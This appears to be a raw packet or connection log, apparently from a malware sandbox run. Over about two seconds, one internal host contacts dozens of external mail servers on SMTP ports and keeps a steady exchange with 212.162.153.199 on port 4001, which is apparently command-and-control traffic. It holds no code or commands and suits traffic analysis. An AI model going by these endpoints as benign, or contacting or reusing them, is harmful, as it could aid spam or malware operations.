May 19, 2024 17:28:03.640064001 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.640144110 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.640165091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.640165091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.641853094 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.641895056 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.641968012 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.641988039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.643671989 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.643706083 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.643757105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.643793106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.644393921 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.644426107 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.644500017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.645888090 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.645922899 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.645951986 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.646023035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.646023035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.646197081 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:28:03.646210909 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:28:03.646284103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.646333933 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.648822069 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.648854971 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.648947954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.648992062 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.650278091 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.650310040 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.650336981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.650348902 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.650363922 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.650427103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.650427103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.650427103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.655076027 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.655102968 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.655129910 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.655154943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.659821033 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.659847975 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.659876108 CEST	587	50074	103.13.28.93	192.168.2.4
May 19, 2024 17:28:03.659972906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.661843061 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:28:03.662201881 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:28:03.662374020 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:28:03.664886951 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:28:03.664978027 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.670217991 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.674627066 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:28:03.674659014 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:03.674845934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.674845934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.677448988 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.679955959 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.686146021 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:28:03.686362028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.691323042 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:28:03.691523075 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.693074942 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.693074942 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.693938971 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.694040060 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.696439981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.696469069 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.696499109 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:28:03.696593046 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:28:03.696593046 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:28:03.696626902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.696690083 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.696748018 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:28:03.697129011 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:28:03.697356939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.697393894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.697868109 CEST	50189	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.698043108 CEST	50190	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:03.698570967 CEST	50191	587	192.168.2.4	194.185.246.171
May 19, 2024 17:28:03.705735922 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:28:03.705962896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.708713055 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:03.708714962 CEST	50074	587	192.168.2.4	103.13.28.93
May 19, 2024 17:28:03.710784912 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:28:03.715670109 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.715699911 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:28:03.715727091 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:28:03.715758085 CEST	587	50189	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.715785980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.715814114 CEST	587	50190	84.2.43.67	192.168.2.4
May 19, 2024 17:28:03.715842009 CEST	587	50191	194.185.246.171	192.168.2.4
May 19, 2024 17:28:03.715878010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.715884924 CEST	50190	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:03.715912104 CEST	50191	587	192.168.2.4	194.185.246.171
May 19, 2024 17:28:03.715918064 CEST	50189	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.715958118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.715958118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.716095924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.716150045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.721029043 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.721057892 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.721257925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.721257925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.721259117 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.721349001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.724335909 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:28:03.724666119 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:28:03.726203918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.726473093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.731030941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.735928059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.739974976 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:28:03.744899988 CEST	587	50122	142.93.237.125	192.168.2.4
May 19, 2024 17:28:03.745033979 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.750940084 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.755939007 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:28:03.760967970 CEST	587	50040	194.158.122.55	192.168.2.4
May 19, 2024 17:28:03.765288115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.765342951 CEST	50040	587	192.168.2.4	194.158.122.55
May 19, 2024 17:28:03.765342951 CEST	50040	587	192.168.2.4	194.158.122.55
May 19, 2024 17:28:03.770241976 CEST	587	50051	194.158.122.55	192.168.2.4
May 19, 2024 17:28:03.770271063 CEST	587	50087	194.153.145.104	192.168.2.4
May 19, 2024 17:28:03.770406008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.770466089 CEST	50051	587	192.168.2.4	194.158.122.55
May 19, 2024 17:28:03.770466089 CEST	50051	587	192.168.2.4	194.158.122.55
May 19, 2024 17:28:03.770504951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.770512104 CEST	50087	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:03.770512104 CEST	50087	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:03.771245956 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.771495104 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.775332928 CEST	587	50040	194.158.122.55	192.168.2.4
May 19, 2024 17:28:03.780569077 CEST	587	50051	194.158.122.55	192.168.2.4
May 19, 2024 17:28:03.786844969 CEST	50122	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:03.791723967 CEST	587	50087	194.153.145.104	192.168.2.4
May 19, 2024 17:28:03.791752100 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.841017962 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.841049910 CEST	587	50171	65.20.63.172	192.168.2.4
May 19, 2024 17:28:03.841171026 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.841186047 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.841382980 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:03.841538906 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.841666937 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:28:03.841792107 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:28:03.841932058 CEST	50127	587	192.168.2.4	74.125.133.16
May 19, 2024 17:28:03.841976881 CEST	50192	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:03.842315912 CEST	50193	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:03.842709064 CEST	50194	587	192.168.2.4	117.50.20.113
May 19, 2024 17:28:03.842911959 CEST	50195	587	192.168.2.4	188.114.96.3
May 19, 2024 17:28:03.843184948 CEST	50196	587	192.168.2.4	198.164.81.21
May 19, 2024 17:28:03.849109888 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.850179911 CEST	50160	587	192.168.2.4	66.199.141.105
May 19, 2024 17:28:03.850195885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.896374941 CEST	50171	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:03.899213076 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:28:03.899244070 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.899271011 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:28:03.899298906 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:03.899326086 CEST	587	50127	74.125.133.16	192.168.2.4
May 19, 2024 17:28:03.899355888 CEST	587	50192	142.93.237.125	192.168.2.4
May 19, 2024 17:28:03.899384022 CEST	587	50193	194.153.145.104	192.168.2.4
May 19, 2024 17:28:03.899413109 CEST	587	50194	117.50.20.113	192.168.2.4
May 19, 2024 17:28:03.899440050 CEST	587	50195	188.114.96.3	192.168.2.4
May 19, 2024 17:28:03.899466038 CEST	587	50196	198.164.81.21	192.168.2.4
May 19, 2024 17:28:03.899493933 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.899497032 CEST	50192	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:03.899502993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.899540901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.899579048 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.899579048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.899593115 CEST	50193	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:03.899593115 CEST	50195	587	192.168.2.4	188.114.96.3
May 19, 2024 17:28:03.899606943 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:28:03.899614096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.899636030 CEST	587	50088	52.223.34.187	192.168.2.4
May 19, 2024 17:28:03.899645090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.899665117 CEST	587	50090	3.125.131.179	192.168.2.4
May 19, 2024 17:28:03.899662018 CEST	50194	587	192.168.2.4	117.50.20.113
May 19, 2024 17:28:03.899662971 CEST	50196	587	192.168.2.4	198.164.81.21
May 19, 2024 17:28:03.899699926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.899729967 CEST	50088	587	192.168.2.4	52.223.34.187
May 19, 2024 17:28:03.899743080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.899760962 CEST	50090	587	192.168.2.4	3.125.131.179
May 19, 2024 17:28:03.899777889 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.899827957 CEST	50088	587	192.168.2.4	52.223.34.187
May 19, 2024 17:28:03.899832964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.899883032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.900047064 CEST	50090	587	192.168.2.4	3.125.131.179
May 19, 2024 17:28:03.904020071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.904051065 CEST	587	50160	66.199.141.105	192.168.2.4
May 19, 2024 17:28:03.904093027 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.904129982 CEST	50160	587	192.168.2.4	66.199.141.105
May 19, 2024 17:28:03.904196978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.909014940 CEST	587	50088	52.223.34.187	192.168.2.4
May 19, 2024 17:28:03.909044981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.913830996 CEST	587	50090	3.125.131.179	192.168.2.4
May 19, 2024 17:28:03.916732073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.921797991 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.921875954 CEST	587	50124	103.226.222.162	192.168.2.4
May 19, 2024 17:28:03.921979904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.927149057 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.932050943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.943201065 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.944463015 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:28:03.948415995 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.948436975 CEST	587	50176	84.116.6.22	192.168.2.4
May 19, 2024 17:28:03.948452950 CEST	587	50177	64.59.136.142	192.168.2.4
May 19, 2024 17:28:03.948587894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.948587894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.948693037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.948724985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.948739052 CEST	50159	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.949219942 CEST	50198	587	192.168.2.4	104.22.65.144
May 19, 2024 17:28:03.953116894 CEST	587	50170	84.116.6.22	192.168.2.4
May 19, 2024 17:28:03.954289913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.958415031 CEST	587	50159	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.958970070 CEST	50114	465	192.168.2.4	13.56.33.8
May 19, 2024 17:28:03.958985090 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.959053993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.963203907 CEST	587	50198	104.22.65.144	192.168.2.4
May 19, 2024 17:28:03.963219881 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.963291883 CEST	50198	587	192.168.2.4	104.22.65.144
May 19, 2024 17:28:03.963341951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.963423014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.968236923 CEST	465	50114	13.56.33.8	192.168.2.4
May 19, 2024 17:28:03.969141960 CEST	50114	465	192.168.2.4	13.56.33.8
May 19, 2024 17:28:03.973124981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.974401951 CEST	50124	587	192.168.2.4	103.226.222.162
May 19, 2024 17:28:03.977911949 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.989495993 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:28:03.989619017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.990094900 CEST	50176	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:03.990551949 CEST	50177	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:03.994632959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.994668961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.002702951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.002960920 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:28:04.005678892 CEST	50170	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:04.007481098 CEST	587	50092	188.114.96.3	192.168.2.4
May 19, 2024 17:28:04.007535934 CEST	50092	587	192.168.2.4	188.114.96.3
May 19, 2024 17:28:04.007566929 CEST	50092	587	192.168.2.4	188.114.96.3
May 19, 2024 17:28:04.007587910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.012213945 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.012433052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.017023087 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:28:04.021922112 CEST	587	50092	188.114.96.3	192.168.2.4
May 19, 2024 17:28:04.021936893 CEST	587	50093	194.153.145.104	192.168.2.4
May 19, 2024 17:28:04.022011995 CEST	50093	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:04.022072077 CEST	50093	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:04.022172928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.026835918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.026853085 CEST	587	50127	74.125.133.16	192.168.2.4
May 19, 2024 17:28:04.027018070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.027018070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.027098894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.031671047 CEST	587	50093	194.153.145.104	192.168.2.4
May 19, 2024 17:28:04.033153057 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:04.033293962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.033294916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.033888102 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:04.033938885 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:28:04.033986092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.033986092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.035017967 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:04.035108089 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.035108089 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.036283016 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:04.036302090 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:04.036322117 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:28:04.036413908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.036930084 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:28:04.038916111 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:04.038944006 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:04.038985968 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:28:04.039061069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.043651104 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.043669939 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.043684959 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.043699026 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.048387051 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.048408985 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:28:04.048507929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.053303003 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.068094015 CEST	50127	587	192.168.2.4	74.125.133.16
May 19, 2024 17:28:04.072910070 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:28:04.073023081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.083715916 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:28:04.084518909 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.099879980 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:04.115561962 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:04.138456106 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.139297009 CEST	50200	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:04.139801025 CEST	50201	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:04.144258022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.148871899 CEST	587	50200	168.0.132.203	192.168.2.4
May 19, 2024 17:28:04.148952007 CEST	50200	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:04.148998022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.153639078 CEST	587	50201	213.209.1.145	192.168.2.4
May 19, 2024 17:28:04.153868914 CEST	50201	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:04.153886080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.158854961 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.163856030 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.206248999 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.211042881 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.255431890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.260265112 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.260277033 CEST	587	50187	195.130.132.10	192.168.2.4
May 19, 2024 17:28:04.291618109 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:28:04.291646957 CEST	587	50159	41.193.157.227	192.168.2.4
May 19, 2024 17:28:04.302395105 CEST	50187	587	192.168.2.4	195.130.132.10
May 19, 2024 17:28:04.308561087 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.333566904 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:28:04.333570004 CEST	50159	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:04.338433027 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:28:04.349181890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.380435944 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:28:04.385488033 CEST	587	50189	168.0.132.203	192.168.2.4
May 19, 2024 17:28:04.406292915 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:28:04.443173885 CEST	50189	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:04.449219942 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:28:04.449251890 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.458602905 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:28:04.489797115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.489872932 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:28:04.556155920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.597109079 CEST	587	50098	99.83.253.192	192.168.2.4
May 19, 2024 17:28:04.597192049 CEST	50098	587	192.168.2.4	99.83.253.192
May 19, 2024 17:28:04.599164009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.696959019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.739818096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.744780064 CEST	587	50099	90.216.128.5	192.168.2.4
May 19, 2024 17:28:04.745238066 CEST	50099	587	192.168.2.4	90.216.128.5
May 19, 2024 17:28:04.777720928 CEST	587	50201	213.209.1.145	192.168.2.4
May 19, 2024 17:28:04.833188057 CEST	587	50200	168.0.132.203	192.168.2.4
May 19, 2024 17:28:04.833548069 CEST	50201	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:04.837977886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:04.880397081 CEST	50200	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:04.880431890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:04.978095055 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:05.017057896 CEST	587	50190	84.2.43.67	192.168.2.4
May 19, 2024 17:28:05.021115065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:05.021830082 CEST	587	50103	194.153.145.104	192.168.2.4
May 19, 2024 17:28:05.021893024 CEST	50103	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:05.067934990 CEST	50190	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:05.072952032 CEST	587	50172	193.201.172.98	192.168.2.4
May 19, 2024 17:28:05.073009968 CEST	50172	587	192.168.2.4	193.201.172.98
May 19, 2024 17:28:05.118587971 CEST	4001	49734	212.162.153.199	192.168.2.4
